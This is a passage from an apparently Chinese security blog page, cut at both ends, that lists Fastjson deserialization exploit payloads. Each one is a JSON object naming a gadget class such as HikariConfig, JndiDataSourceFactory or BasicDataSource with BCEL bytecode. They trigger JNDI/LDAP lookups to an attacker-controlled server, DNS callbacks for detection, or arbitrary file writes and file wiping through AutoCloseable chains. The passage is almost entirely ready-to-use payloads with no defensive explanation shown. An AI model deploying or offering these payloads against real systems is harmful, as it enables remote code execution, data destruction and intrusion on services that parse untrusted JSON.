class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JndiDataSourceFactory</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.ibatis.datasource.jndi.JndiDataSourceFactory&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;data_source&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>SimpleJndiBeanFactory</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.springframework.beans.factory.config.PropertyPathFactoryBean&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;targetBeanName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;propertyPath&quot;</span><span class="punctuation">:</span> <span class="string">&quot;su18&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;beanFactory&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.springframework.jndi.support.SimpleJndiBeanFactory&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;shareableResources&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line">      <span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>DefaultBeanFactoryPointcutAdvisor</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor&quot;</span><span class="punctuation">,</span></span><br><span class="line">   <span class="attr">&quot;beanFactory&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">     <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.springframework.jndi.support.SimpleJndiBeanFactory&quot;</span><span class="punctuation">,</span></span><br><span class="line">     <span class="attr">&quot;shareableResources&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">       <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line">     <span class="punctuation">]</span></span><br><span class="line">   <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">   <span class="attr">&quot;adviceBeanName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">   <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>WrapperConnectionPoolDataSource</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;userOverridesAsString&quot;</span><span class="punctuation">:</span> <span class="string">&quot;HexAsciiSerializedMap:aced000...6f;&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JndiRefForwardingDataSource</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.mchange.v2.c3p0.JndiRefForwardingDataSource&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;jndiName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;loginTimeout&quot;</span><span class="punctuation">:</span> <span class="number">0</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>InetAddress</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.net.InetAddress&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://dnslog.com&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>Inet6Address</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.net.Inet6Address&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://dnslog.com&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>URL</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.net.URL&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://dnslog.com&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JSONObject</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.alibaba.fastjson.JSONObject&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.net.URL&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://dnslog.com&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>URLReader</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;poc&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.alibaba.fastjson.JSONReader&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;reader&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;jdk.nashorn.api.scripting.URLReader&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;url&quot;</span><span class="punctuation">:</span> <span class="string">&quot;http://127.0.0.1:9999&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>AutoCloseable 任意文件写入</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;out&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.io.FileOutputStream&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;file&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/path/to/target&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;parameters&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.commons.compress.compressors.gzip.GzipParameters&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;filename&quot;</span><span class="punctuation">:</span> <span class="string">&quot;filecontent&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>BasicDataSource</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;@type&quot;</span> <span class="punctuation">:</span> <span class="string">&quot;org.apache.tomcat.dbcp.dbcp.BasicDataSource&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;driverClassName&quot;</span> <span class="punctuation">:</span> <span class="string">&quot;$$BCEL$$$l$8b$I$A$A$A$A...&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;driverClassLoader&quot;</span> <span class="punctuation">:</span></span><br><span class="line">  <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;Lcom.sun.org.apache.bcel.internal.util.ClassLoader;&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JndiConverter</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.xbean.propertyeditor.JndiConverter&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;AsText&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JtaTransactionConfig</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.util.Properties&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UserTransaction&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JndiObjectFactory</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.shiro.jndi.JndiObjectFactory&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;resourceName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>AnterosDBCPConfig</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;br.com.anteros.dbcp.AnterosDBCPConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;metricRegistry&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>AnterosDBCPConfig2</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;br.com.anteros.dbcp.AnterosDBCPConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;healthCheckRegistry&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>CacheJndiTmLookup</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;jndiNames&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>AutoCloseable 清空指定文件</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.io.FileOutputStream&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;file&quot;</span><span class="punctuation">:</span><span class="string">&quot;/tmp/nonexist&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;append&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">false</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>AutoCloseable 清空指定文件</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.io.FileWriter&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;file&quot;</span><span class="punctuation">:</span><span class="string">&quot;/tmp/nonexist&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;append&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">false</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>AutoCloseable 任意文件写入</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;stream&quot;</span><span class="punctuation">:</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.io.FileOutputStream&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;file&quot;</span><span class="punctuation">:</span><span class="string">&quot;/tmp/nonexist&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;append&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">false</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;writer&quot;</span><span class="punctuation">:</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;org.apache.solr.common.util.FastOutputStream&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;tempBuffer&quot;</span><span class="punctuation">:</span><span class="string">&quot;SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;sink&quot;</span><span class="punctuation">:</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;$ref&quot;</span><span class="punctuation">:</span><span class="string">&quot;$.stream&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;start&quot;</span><span class="punctuation">:</span><span class="number">38</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;close&quot;</span><span class="punctuation">:</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.lang.AutoCloseable&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;org.iq80.snappy.SnappyOutputStream&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;out&quot;</span><span class="punctuation">:</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;$ref&quot;</span><span class="punctuation">:</span><span class="string">&quot;$.writer&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>BasicDataSource</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.tomcat.dbcp.dbcp2.BasicDataSource&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;driverClassName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;true&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;driverClassLoader&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.sun.org.apache.bcel.internal.util.ClassLoader&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;driverClassName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>HikariConfig</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.zaxxer.hikari.HikariConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;metricRegistry&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>HikariConfig</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.zaxxer.hikari.HikariConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;healthCheckRegistry&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>HikariConfig</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;metricRegistry&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>HikariConfig</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;healthCheckRegistry&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>SessionBeanProvider</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.commons.proxy.provider.remoting.SessionBeanProvider&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;jndiName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;Object&quot;</span><span class="punctuation">:</span> <span class="string">&quot;su18&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JMSContentInterceptor</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.cocoon.components.slide.impl.JMSContentInterceptor&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;parameters&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;java.util.Hashtable&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;java.naming.factory.initial&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.sun.jndi.rmi.registry.RegistryContextFactory&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;topic-factory&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;namespace&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>ContextClassLoaderSwitcher</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 